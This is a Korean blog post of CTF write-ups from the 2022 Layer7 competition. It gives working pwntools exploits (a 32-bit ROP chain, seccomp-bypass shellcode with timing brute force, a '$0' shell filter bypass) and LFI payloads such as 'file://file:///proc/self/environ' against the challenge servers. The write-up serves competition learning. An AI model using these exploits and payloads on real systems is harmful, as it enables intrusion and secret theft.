Sechack

2022 Layer7 CTF write up + 후기 본문

CTF

2022 Layer7 CTF write up + 후기

Sechack 2022. 12. 19. 22:47
반응형

 

이번 Layer7 CTF는 고등부 1등을 했다. 작년에도 중등부 1등 해서 상받았었는데 연속으로 1등해서 기분이 좋다. 아무거나 한문제만 더풀었으면 위에있는 Ainsetin이라는 사람도 이길 수 있었는데 이건 조금 아쉽긴 하다.

 

 

 

그리고 스코어보드 그래프와 플래그 인증 시간 보면 알겠지만 5문제를 플래그 키핑하고있다가 끝나기 5분전에 싹다 인증해서 순위 급상승 시켰다. 플래그 키핑 한번 해보고 싶었는데 이번에 처음 해봤다. secom S-1은 퍼블 마려워서 키핑 안했고 Checkcheck는 그냥 mic check니까 인증해줬고 baby requester문제를 풀어야 child requester문제가 보인다길래 그냥 푸는김에 같은 시리즈니까 그 두개도 인증해줬다. 나머지는 끝까지 키핑하다가 인증..ㅎㅎ

 

 

대충 위 사진처럼 나혼자 있는 서버하나 파서 키핑했다. ㅋㅋㅋㅋㅋㅋ

 

 

GG~~

 

 

Checkcheck

 

 

 

디스코드에 플래그 있다.

 

 

christmasgift

 

 

 

 

바이너리 분석을 해보면 bof를 2군데서 준다. 첫번째 bof는 트리거하려면 조건이 있고 조건 만족하려면 rand함수 값 맞춰야되서 귀찮아진다. 그래서 조건없는 두번째 bof로 그냥 32bit rop하면 된다.

 

from pwn import *

sla = lambda x, y : r.sendlineafter(x, y)
sa = lambda x, y : r.sendafter(x, y)
rvu = lambda x : r.recvuntil(x)

r = remote("chal.layer7.kr", 8011)
#r = process("./christmasgift")
libc = ELF("./libc.so.6")

puts_plt = 0x8048520
puts_got = 0x0804B020
pr = 0x080484b9

sla("not!\n\n", "1")
sla("t\n\n", "4")

sa("!!!\n\n", b"a\x00"+b"a"*0x6a+p32(puts_plt)+p32(pr)+p32(puts_got)+p32(0x080486AB))

libc_leak = u32(rvu("\xf7")[-4:])
libc_base = libc_leak - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + list(libc.search(b"/bin/sh\x00"))[0]

log.info(hex(libc_base))

sla("not!\n\n", "1")
sla("t\n\n", "4")

sa("!!!\n\n", b"a\x00"+b"a"*0x6a+p32(system)+p32(pr)+p32(binsh))

r.interactive()

 

 

플래그 읽으면 누가봐도 base64인 문자열이 나오니까 디코딩해주면 된다.

 

 

 

secom S-1

 

 

나혼자서 1솔한 포너블 문제이다.

 

 

main함수 보면 mmap으로 rwx인 메모리 공간을 할당해주고 입력받는다.

 

unsigned __int64 seccomp_filter()
{
  __int16 v1; // [rsp+0h] [rbp-70h] BYREF
  __int16 *v2; // [rsp+8h] [rbp-68h]
  __int16 v3; // [rsp+10h] [rbp-60h] BYREF
  char v4; // [rsp+12h] [rbp-5Eh]
  char v5; // [rsp+13h] [rbp-5Dh]
  int v6; // [rsp+14h] [rbp-5Ch]
  __int16 v7; // [rsp+18h] [rbp-58h]
  char v8; // [rsp+1Ah] [rbp-56h]
  char v9; // [rsp+1Bh] [rbp-55h]
  int v10; // [rsp+1Ch] [rbp-54h]
  __int16 v11; // [rsp+20h] [rbp-50h]
  char v12; // [rsp+22h] [rbp-4Eh]
  char v13; // [rsp+23h] [rbp-4Dh]
  int v14; // [rsp+24h] [rbp-4Ch]
  __int16 v15; // [rsp+28h] [rbp-48h]
  char v16; // [rsp+2Ah] [rbp-46h]
  char v17; // [rsp+2Bh] [rbp-45h]
  int v18; // [rsp+2Ch] [rbp-44h]
  __int16 v19; // [rsp+30h] [rbp-40h]
  char v20; // [rsp+32h] [rbp-3Eh]
  char v21; // [rsp+33h] [rbp-3Dh]
  int v22; // [rsp+34h] [rbp-3Ch]
  __int16 v23; // [rsp+38h] [rbp-38h]
  char v24; // [rsp+3Ah] [rbp-36h]
  char v25; // [rsp+3Bh] [rbp-35h]
  int v26; // [rsp+3Ch] [rbp-34h]
  __int16 v27; // [rsp+40h] [rbp-30h]
  char v28; // [rsp+42h] [rbp-2Eh]
  char v29; // [rsp+43h] [rbp-2Dh]
  int v30; // [rsp+44h] [rbp-2Ch]
  __int16 v31; // [rsp+48h] [rbp-28h]
  char v32; // [rsp+4Ah] [rbp-26h]
  char v33; // [rsp+4Bh] [rbp-25h]
  int v34; // [rsp+4Ch] [rbp-24h]
  __int16 v35; // [rsp+50h] [rbp-20h]
  char v36; // [rsp+52h] [rbp-1Eh]
  char v37; // [rsp+53h] [rbp-1Dh]
  int v38; // [rsp+54h] [rbp-1Ch]
  __int16 v39; // [rsp+58h] [rbp-18h]
  char v40; // [rsp+5Ah] [rbp-16h]
  char v41; // [rsp+5Bh] [rbp-15h]
  int v42; // [rsp+5Ch] [rbp-14h]
  __int16 v43; // [rsp+60h] [rbp-10h]
  char v44; // [rsp+62h] [rbp-Eh]
  char v45; // [rsp+63h] [rbp-Dh]
  int v46; // [rsp+64h] [rbp-Ch]
  unsigned __int64 v47; // [rsp+68h] [rbp-8h]

  v47 = __readfsqword(0x28u);
  v3 = 32;
  v4 = 0;
  v5 = 0;
  v6 = 4;
  v7 = 21;
  v8 = 1;
  v9 = 0;
  v10 = -1073741762;
  v11 = 6;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 32;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  v19 = 21;
  v20 = 0;
  v21 = 1;
  v22 = 59;
  v23 = 6;
  v24 = 0;
  v25 = 0;
  v26 = 2147418112;
  v27 = 21;
  v28 = 0;
  v29 = 1;
  v30 = 2;
  v31 = 6;
  v32 = 0;
  v33 = 0;
  v34 = 2147418112;
  v35 = 21;
  v36 = 0;
  v37 = 1;
  v38 = 0;
  v39 = 6;
  v40 = 0;
  v41 = 0;
  v42 = 2147418112;
  v43 = 6;
  v44 = 0;
  v45 = 0;
  v46 = 0;
  v1 = 11;
  v2 = &v3;
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
  {
    perror("NO_NEW_PRIVS");
  }
  else if ( prctl(22, 2LL, &v1) )
  {
    perror("SECCOMP");
  }
  return v47 - __readfsqword(0x28u);
}

 

seccomp_filter함수에선 대충 seccomp룰을 설정해준다.

 

 

그리고 main함수에서 mmap해준 주소를 호출하면서 우리가 입력한 쉘코드를 실행한다.

 

 

seccomp-tools로 허용된 syscall들을 보면 execve와 open, read를 허용해준다. 얼핏 보면 execve로 셸따면 될것같지만 execve는 자식프로세스 만들어서 타겟 바이너리를 해당 메모리에 올리고 실행한다. 즉 /bin/sh를 실행하면 해당 바이너리에서 부르는 syscall들도 seccomp의 영향을 받아서 execve가 의미가 없다. 그래서 open과 read만으로 플래그를 알아와야 하는데

 

./secom
echo Error code $?

 

run.sh을 보면 이렇게 에러코드를 주는걸 확인할 수 있다. 처음에는 에러코드 이용해서 brute force할 생각을 했지만 뭔짓을 해도 에러코드가 똑같이 나왔다. 그래서 조금 고민하다가 플래그 한글자 읽어와서 비교하고 같으면 무한루프 돌려서 지연시키고 다르면 그냥 종료시키는 쉘코드를 작성해서 time based비스무리하게 brute force해줬다. 쉘코드에서 인덱스랑 비교하는 값만 계속 바꿔가면서 brute foece하면 된다.

 

from pwn import *
import time

context.arch = "amd64"

#r = process(["bash", "./run.sh"])
#r = remote("chal.layer7.kr", 8012)

sla = lambda x, y : r.sendlineafter(x, y)
sa = lambda x, y : r.sendafter(x, y)
s = lambda x : r.send(x)
rvu = lambda x, y : r.recvuntil(x, timeout=y)

i = 0
flag = ""

while True:
    for j in range(8):
        for k in range(0x20, 0x7f):
            r = remote("chal.layer7.kr", 8012)
            #r = process(["bash", "./run.sh"])
            #r = process("./secom")

            shellcode = asm("""
            mov rax, 2
            xor rdi, rdi
            push rdi
            mov rdi, 0x67
            push rdi
            movabs rdi, 0x616c662f7070612f
            push rdi
            mov rdi, rsp
            syscall
            mov rdi, rax
            xor rax, rax
            mov rsi, rsp
            mov rdx, 0x50
            syscall
            mov rax, qword ptr[rsi+{}*8]
            shr rax, {}
            cmp al, {}
            jne $+8
            add rax, 1
            jmp $-4
            ret
            """.format(i, j*8, k))
            #pause()
            sa(b"safe\r\n", shellcode)
            s(b"\n")
            try:
                prev = time.time()
                rvu(b"Error code", 5)
                now = time.time()
                if now - prev > 5:
                    r.close()
                    r = remote("chal.layer7.kr", 8012)
                    #r = process(["bash", "./run.sh"])
                    sa(b"safe\r\n", shellcode)
                    s(b"\n")
                    prev = time.time()
                    rvu(b"Error code", 5)
                    now = time.time()
                    if now - prev > 5:
                        log.info("success : "+chr(k))
                        flag += chr(k)
                        log.info("flag : "+flag)
                        if k == ord("}"):
                            exit(0)
                        break
                else:
                    log.info("fail : "+chr(k))
            except:
                log.info("exfail : "+chr(k))
                break

            r.close()
    i += 1

r.interactive()

 

최종 익스플로잇 코드는 위와 같다. 서버 딜레이가 생각보다 느리길래 확실하게 하기 위해서 일부러 timeout을 5초로 길게 줬다. 그리고 가끔가다가 서버에서 응답이 느리게 오는 경우가 있으니까 이런 경우를 걸러내기 위해서 한번 성공했을 경우 다시한번 요청을 보내서 똑같이 지연되는지 체크해준다. 이렇게 2번 체크하면 웬만해선 오탐하는 일은 없다. 이렇게까지 했는데도 문자 2개가 잘못 나오긴 했는데 그냥 해당 부분만 다시 돌려보면서 체크해도 되지만 플래그가 하나의 문장이었는데 무슨 단어가 들어가야할지 뻔히 보여서 그냥 게싱해서 맞췄다. 그리고 가장 삽질했던 부분이 처음에는 문자를 byte ptr로 가져왔는데 이게 로컬에선 잘되는데 리모트에서는 byte ptr쓰면 플래그가 Lay에서 끊겼다. 문의해보니까 qword ptr로 8바이트씩 가져와서 시프트연산으로 바이트 가져오면 잘 된다고 하길래 qword ptr로 가져오니까 진짜 잘 나왔다. 스레드 쓰면 빨랐겠지만 코딩하기 귀찮아서 그냥 돌려두고 다른거 했다. 2시간정도 돌리니까 플래그 나왔다.

 

내 문의 덕분에 디스크립션에도 이게 생겼다. 근데 왜 byte ptr은 안되고 qword ptr은 되는지 아직도 의문이다. 아무튼 위 익스플로잇 코드를 돌리면 플래그 나온다. 앞에서도 언급했듯이 최대한 확실하게 코드를 짰지만 time based의 한계로 중간에 잘못된 문자가 섞일 수 있는데 많아봐야 두세개니까 그냥 게싱하거나 처음부터 끝까지 한번씩만 테스트 해봐서 잘못된거만 다시 brute force하면 된다.

 

flag : Layer7{5ECC0MP_IS_5ECURE_C0MPUTING_MODE_NOT_A_SEC0M}

 

 

L@y3r7

 

 

 

png파일 하나만 준다.

 

 

binwalk로 파일카빙을 해보면 zip파일이 숨어있는걸 볼 수 있다.

 

 

이렇게 binwalk에 옵션을 주면 카빙뜬 파일을 실제로 생성해준다.

 

 

카빙을 뜨면 zip파일이 나오는걸 볼 수 있다.

 

 

압축을 풀어보면 또다른 zip파일과 jpg파일이 나온다. jpg파일은 조금 뜯어본 결과 문제 풀이랑은 관련없는 파일인거 같았다.

 

 

zip파일에는 패스워드가 걸려있는걸 볼 수 있다. 처음에는 rockyou.txt이용해서 dictionary attack을 시도해봤지만 뚫리지 않았다. 그래서 고민하다가 HackCTF에서 zip파일 비트가지고 장난질해서 암호 없는데 걸려있는것처럼 속이는 문제가 생각났다. 설마설마 하고 HxD를 봤다.

 

 

패스워드가 걸린 파일 쪽을 보면 08 08이어야 하는 바이트가 01 11인걸 볼 수 있다. 따라서 저 부분을 08 08로 바꿔주고 다시 압축을 풀어보면

 

 

압축이 잘 풀리는걸 볼 수 있다.

 

 

근데 png로 인식이 안된다.

 

 

HxD로 확인해보면 0D여야 하는 시그니처의 1바이트가 03으로 변조되어있는걸 확인할 수 있다. 따라서 저부분을 수정해준 후에 파일을 열어보면

 

 

플래그가 적혀있는 이미지가 나오는걸 볼 수 있다.

 

 

File manager software

 

 

다른 기능 다 볼필요 없고 이부분에서 system함수로 원하는 인자를 넣을 수 있다.

 

 

하지만 화이트리스트 필터링을 당하는데

 

 

여기있는 애들만 허락해준다.

 

 

근데 자세히 보면 read함수 반환값에서 1을 빼주고 있다. 따라서 개행을 안넣기 위해서 pwntools로 페이로드 보내면 마지막 문자는 검증하지 않게 된다.

 

 

위 사진에서 보이다시피 $0을 보내주면 셸이 따이게 된다. 첫번째 문자는 화이트리스트에 있는 문자라서 검증 통과하게 되고 0은 체크 안하게 되면서 셸이 따이게 된다.

 

from pwn import *

r = remote("chal.layer7.kr", 8021)

r.sendlineafter("---\n", "4")
r.send("$0")

r.interactive()

 

 

 

 

baby requester

 

from flask import Flask, request
import urllib
import urllib.parse
import os, subprocess

app = Flask(__name__)

BANNED_COMMAND_CHAR = ["\"", "\\", "`", "$", "(", "{", "?", ";", "*", "\r", "\t", "\n"]
BANNED_PROTOCOL = ["gopher", "file"]
BANNED_URI_CHAR = ["@", "&", "#", "?", "["]

def filter(url, banned):
    for x in banned:
        if x in url:
            return False
    return url

def gen_url(url):
    res = ""
    if url.scheme and filter(url.scheme.lower(), BANNED_PROTOCOL):
        res += url.scheme + '://'
    if url.netloc and filter(url.netloc, BANNED_URI_CHAR):
        res += url.netloc
    return res+url.path

@app.route("/")
def index():
    return "Hello, world!!<br><form action='/request' method=POST><input type=text name=url placeholder='ex: http://www.google.com'></input><br><input type=submit value='submit' name='submit'></input></form>"

@app.route("/request", methods=["POST"])
def curl():
    url = filter(request.form["url"], BANNED_COMMAND_CHAR)
    filename = os.urandom(16).hex()
    if url:
        curl_url = gen_url(urllib.parse.urlparse(url))
        curl_res = subprocess.Popen('curl -X GET --max-time 1 -s --show-error "{0}" -o /tmp/{1}.txt'.format(curl_url, filename), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        err = curl_res.communicate()[1]
        if err:
            return err
        return "Success your file is /tmp/{}.txt".format(filename)
    return "Plz input url"

@app.route("/view")
def view():
    try:
        filename = request.args.get("filename")
        fp = open("/tmp/" + filename.replace("/", "").replace("\\", ""), "r")
        res = fp.read()
        fp.close()
        return res
    except FileNotFoundError:
        return "No such file or directory..."

app.run("0.0.0.0", 9999)

 

app.py를 보면 원하는 url로 curl이용해서 요청 보내고 결과를 /tmp디렉터리에 텍스트 파일로 저장하고 view기능으로 파일을 조회할 수 있는 웹사이트이다. 하지만 URI scheme중에서 file과 gopher은 필터링당한다. 따라서 얼핏보면 LFI를 할 수 없어보이지만 필터링 로직을 자세히 보면 뭔가 이상함을 알 수 있다.

 

def gen_url(url):
    res = ""
    if url.scheme and filter(url.scheme.lower(), BANNED_PROTOCOL):
        res += url.scheme + '://'
    if url.netloc and filter(url.netloc, BANNED_URI_CHAR):
        res += url.netloc
    return res+url.path

 

 

필터링되는 키워드가 들어와도 단순히 res에다가 추가만 안해주고 별다른 조치 없이 다음 코드를 실행하는걸 알 수 있다. 따라서 결과만 놓고 보면 replace로 필터링하는것과 같은 꼴이 된다. 이렇게 되면 file://file:///etc/passwd를 넘겨주면 URI scheme가 file이니까 맨처음 if문 안의 내용은 실행되지 않고 2번째 if문의 내용만 실행이 된다. 즉 get_uri함수가 반환하는 값은 file:///etc/passwd가 되면서 LFI가 된다.

 

FROM python:3.10

WORKDIR /app
RUN pip install flask
ENV FLAG "flag{test-flag}"
COPY ./src /app/

CMD ["python", "app.py"]

 

Dockerfile을 보면 환경변수에 플래그를 추가하는걸 알 수 있고 /proc/self/environ을 읽으면 환경변수를 릭할 수 있다. 따라서 file://file:///proc/self/environ을 보내주고 결과 파일을 읽으면 플래그를 얻을 수 있다.

 

 

 

오른쪽 아래에서 플래그를 볼 수 있다.

 

 

child requester

 

 

from flask import Flask, request
import urllib
import urllib.parse
import os, subprocess

app = Flask(__name__)

BANNED_COMMAND_CHAR = ["\"", "\\", "`", "$", "(", "{", "?", ";", "*", "\r", "\t", "\n"]
BANNED_PROTOCOL = ["gopher", "file"]
BANNED_URI_CHAR = ["@", "&", "#", "?", "["]

def filter(url, banned):
    for x in banned:
        if x in url:
            return False
    return url

def gen_url(url):
    res = ""
    if url.scheme:
        if filter(url.scheme.lower(), BANNED_PROTOCOL) == False:
            return "Don't allow this protocol"
        res += url.scheme + '://'
    if url.netloc and filter(url.netloc, BANNED_URI_CHAR):
        res += url.netloc
    return res+url.path

@app.route("/")
def index():
    return "Hello, world!!<br><form action='/request' method=POST><input type=text name=url placeholder='ex: http://www.google.com'></input><br><input type=submit value='submit' name='submit'></input></form>"

@app.route("/request", methods=["POST"])
def curl():
    url = filter(request.form["url"], BANNED_COMMAND_CHAR)
    filename = os.urandom(16).hex()
    if url:
        print(urllib.parse.urlparse(url))
        curl_url = gen_url(urllib.parse.urlparse(url))
        print(curl_url)
        curl_res = subprocess.Popen('curl -X GET --max-time 1 -s --show-error "{0}" -o /tmp/{1}.txt'.format(curl_url, filename), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        err = curl_res.communicate()[1]
        if err:
            return err
        return "Success your file is /tmp/{}.txt".format(filename)
    return "Plz input url"

@app.route("/view")
def view():
    try:
        filename = request.args.get("filename")
        fp = open("/tmp/" + filename.replace("/", "").replace("\\", ""), "r")
        res = fp.read()
        fp.close()
        return res
    except FileNotFoundError:
        return "No such file or directory..."

app.run("0.0.0.0", 7777)

 

사실 앞에서 내가 푼 방식은 언인텐이다. 출제자도 baby requester문제에서 언인텐이 터진걸 알고 이 문제를 다시 만들어서 revenge버전으로 출제한거다. 실제로 소스코드를 보면 baby버전에서와 다르게 URI scheme가 필터링당할경우 그냥 바로 값을 리턴해준다. 따라서 baby버전과 같은 풀이는 불가능하다. 근데 이 문제에서도 비슷한 수준으로 쉽게 풀려버리는 언인텐이 터진다. 바로 //file:///etc/passwd이런식으로 주면 LFI가 된다는것인데 로컬에서 urllib.parse.urlparse에 여러가지 값들을 넣어보면서 테스트해본 결과 //를 만나는 순간 그 뒤에 내용은 netloc으로 파싱이 된다는 사실을 알게 되었다. 따라서 //file:///etc/passwd를 주게 되면 URI scheme는 빈 값이 되어버려서 애초에 URI scheme를 추가해주는 if문 자체가 실행이 안되게 된다. 그리고 그 밑에 netloc을 추가해주는 if문이 실행되는데 여기서 netloc이 file:///etc/passwd로 파싱이 되고 이 값은 그대로 결과값에 더해져서 반환이 된다. 따라서 LFI가 가능해지고 baby문제와 마찬가지로 /proc/self/envrion을 읽어서 플래그를 얻을 수 있다.

 

 

 

오른쪽 하단에 보면 플래그를 볼 수 있다. 출제자가 의도한 requester문제들의 인텐 풀이는 curl에 -K옵션을 이용해서 플래그 읽는거였다고 한다. 더블쿼터를 escape할 수 없어서 command injection은 불가능하다고 생각했었는데 신기하게도 -K옵션은 더블쿼터 안에서도 동작했고 이걸 이용해서 파일의 내용을 알아낼 수 있었다.

 

 

놀랍게도 이게 동작하고 이 결과가 /tmp경로의 txt파일에 써지니까 플래그를 가져올 수 있게 된다.

 

 

tea-time

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // al
  int i; // [rsp+8h] [rbp-188h]
  int v7; // [rsp+Ch] [rbp-184h]
  unsigned int v8; // [rsp+10h] [rbp-180h]
  unsigned int v9; // [rsp+14h] [rbp-17Ch]
  int v10; // [rsp+1Ch] [rbp-174h]
  int j; // [rsp+20h] [rbp-170h]
  int k; // [rsp+24h] [rbp-16Ch]
  char *v13; // [rsp+28h] [rbp-168h]
  int v14[12]; // [rsp+50h] [rbp-140h]
  char s[8]; // [rsp+80h] [rbp-110h] BYREF
  __int64 v16; // [rsp+88h] [rbp-108h]
  __int64 v17; // [rsp+90h] [rbp-100h]
  __int64 v18; // [rsp+98h] [rbp-F8h]
  __int64 v19; // [rsp+A0h] [rbp-F0h]
  __int64 v20; // [rsp+A8h] [rbp-E8h]
  __int64 v21; // [rsp+B0h] [rbp-E0h]
  __int64 v22; // [rsp+B8h] [rbp-D8h]
  __int64 v23; // [rsp+C0h] [rbp-D0h]
  __int64 v24; // [rsp+C8h] [rbp-C8h]
  __int64 v25; // [rsp+D0h] [rbp-C0h]
  __int64 v26; // [rsp+D8h] [rbp-B8h]
  __int64 v27; // [rsp+E0h] [rbp-B0h]
  __int64 v28; // [rsp+E8h] [rbp-A8h]
  __int64 v29; // [rsp+F0h] [rbp-A0h]
  __int64 v30; // [rsp+F8h] [rbp-98h]
  __int64 v31; // [rsp+100h] [rbp-90h]
  __int64 v32; // [rsp+108h] [rbp-88h]
  __int64 v33; // [rsp+110h] [rbp-80h]
  __int64 v34; // [rsp+118h] [rbp-78h]
  __int64 v35; // [rsp+120h] [rbp-70h]
  __int64 v36; // [rsp+128h] [rbp-68h]
  __int64 v37; // [rsp+130h] [rbp-60h]
  __int64 v38; // [rsp+138h] [rbp-58h]
  __int64 v39; // [rsp+140h] [rbp-50h]
  __int64 v40; // [rsp+148h] [rbp-48h]
  __int64 v41; // [rsp+150h] [rbp-40h]
  __int64 v42; // [rsp+158h] [rbp-38h]
  __int64 v43; // [rsp+160h] [rbp-30h]
  __int64 v44; // [rsp+168h] [rbp-28h]
  __int64 v45; // [rsp+170h] [rbp-20h]
  __int64 v46; // [rsp+178h] [rbp-18h]
  unsigned __int64 v47; // [rsp+188h] [rbp-8h]

  v47 = __readfsqword(0x28u);
  *(_QWORD *)s = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  v20 = 0LL;
  v21 = 0LL;
  v22 = 0LL;
  v23 = 0LL;
  v24 = 0LL;
  v25 = 0LL;
  v26 = 0LL;
  v27 = 0LL;
  v28 = 0LL;
  v29 = 0LL;
  v30 = 0LL;
  v31 = 0LL;
  v32 = 0LL;
  v33 = 0LL;
  v34 = 0LL;
  v35 = 0LL;
  v36 = 0LL;
  v37 = 0LL;
  v38 = 0LL;
  v39 = 0LL;
  v40 = 0LL;
  v41 = 0LL;
  v42 = 0LL;
  v43 = 0LL;
  v44 = 0LL;
  v45 = 0LL;
  v46 = 0LL;
  printf("FLAG: ");
  __isoc99_scanf("%s", s);
  v7 = strlen(s);
  for ( i = 0; i < v7 / 8; ++i )
  {
    v13 = &s[8 * i];
    v8 = *(_DWORD *)v13;
    v9 = *((_DWORD *)v13 + 1);
    v10 = 32;
    for ( j = 0; v10--; v9 += (j + v8) ^ (16 * v8 - 1373085521) ^ ((v8 >> 5) + 821892524) )
    {
      j -= 1640531527;
      v8 += (j + v9) ^ (16 * v9 + 1461968204) ^ ((v9 >> 5) + 660145324);
    }
    *(_DWORD *)v13 = v8;
    *((_DWORD *)v13 + 1) = v9;
  }
  v14[0] = -1044660104;
  v14[1] = 247655037;
  v14[2] = -989523269;
  v14[3] = -745974710;
  v14[4] = 2003171038;
  v14[5] = 1264307023;
  v14[6] = -1131556505;
  v14[7] = 1311205716;
  v14[8] = -1276840000;
  v14[9] = -1336918999;
  for ( k = 0; (unsigned __int64)k <= 1; ++k )
  {
    if ( *(_DWORD *)&s[4 * k] != v14[k] )
    {
      v4 = 0;
      goto LABEL_13;
    }
  }
  v4 = 1;
LABEL_13:
  if ( v4 )
    puts("Correct!");
  else
    puts("Wrong...");
  return 0;
}

 

놀랍게도 루틴이 엄청나게 간단한 리버싱 문제이다. 8바이트씩 인코딩을 하는데 4바이트씩 나눠서 각각 v8, v9변수에 저장한다. 그리고 v8변수에다가 특정 연산한 값을 더하는데 이 연산에 v9변수가 쓰인다. 그리고 v9변수에다가 더하는 값을 연산할때는 v8변수가 사용되게 된다. 이 말은 즉 v9변수를 알고 있으면 v9를 이용해서 v8에 더해주는 값을 알 수 있게 되고 v8을 역연산 할 수 있게 된다. 반대로 v8변수를 알고 있으면 v9를 역연산 할 수 있게 된다. 우리는 인코딩된 결과값을 알고 있으므로 마지막 v8, v9값을 알고있게 되는거고 그 두 값들을 이용해서 더해왔던 값들을 계속해서 빼주면 원본 값을 복구할 수 있게 된다.

 

from pwn import p32

enc = [0 for i in range(10)]

enc[0] = 0xC1BBC078
enc[1] = 0xEC2EA7D
enc[2] = 0xC50512BB
enc[3] = 0xD389544A
enc[4] = 0x7765F6DE
enc[5] = 0x4B5BCB4F
enc[6] = 0xBC8DD167
enc[7] = 0x4E276954
enc[8] = 0xB3E4F7C0
enc[9] = 0xB0503C29

jli = []
j = 0
for i in range(32):
    j -= 0x61C88647
    j &= 0xffffffff
    jli.append(j)

jli = jli[::-1]
jlic = 0

flag = b""

for i in range(0, len(enc), 2):
    v8 = enc[i]
    v9 = enc[i+1]
    for j in range(32):
        v9 -= (jli[jlic] + v8) ^ (16 * v8 - 0x51D79F51) ^ ((v8 >> 5) + 0x30FD15AC)
        v9 &= 0xffffffff
        v8 -= (jli[jlic] + v9) ^ (16 * v9 + 0x5723DD4C) ^ ((v9 >> 5) + 0x275904AC)
        v8 &= 0xffffffff
        jlic += 1
    jlic = 0
    flag += p32(v8)+p32(v9)

print(flag)

 

 

Fukuro

 

Y{'034wr0h?AE7Dntyuh4_nolcysmw3e}LRo__r___er

 

이렇게 생겨먹은 문자열 하나만 준다. 딱 보기에 뭔가 인덱스가 바뀐것같다는 생각이 들었다.

 

enc = b"Y{'034wr0h?AE7Dntyuh4_nolcysmw3e}LRo__r___er"

for i in range(44):
    if enc[i] == "L":
        print(i)

 

플래그 앞에가 LAYER7{이라는 점을 이용해서 위 코드처럼 인덱스를 하나하나 찍어봤고

 

 

규칙을 찾을 수 있었다. 33, 11, 0, 12, 34, 13, 1규칙이 보인다. 위 사진과 같이 나열하면 더 직관적으로 보인다. 이제 이걸 코드로 짜면 된다.

 

enc = b"Y{'034wr0h?AE7Dntyuh4_nolcysmw3e}LRo__r___er"

for i in range(44):
    if enc[i] == "L":
        print(i)

dec = [0 for i in range(len(enc))]

li = [33, 11, 0]
idx = [0, 1, 2, 1]

for i in range(len(enc)):
    dec[i] = enc[li[idx[i%4]]]
    li[idx[i%4]] += 1

for i in dec:
    print(chr(i), end='')

 

 

GG~~

반응형

'CTF' 카테고리의 다른 글

ACSC 2023 - Write up  (1) 2023.02.26
2022 Christmas CTF 후기  (1) 2022.12.27
TUCTF 2022 - Write up  (0) 2022.12.04
Codegate2022 본선 후기 + 문제 풀이  (0) 2022.11.16
CCE 2022 학생부 준우승 후기  (3) 2022.10.31
Comments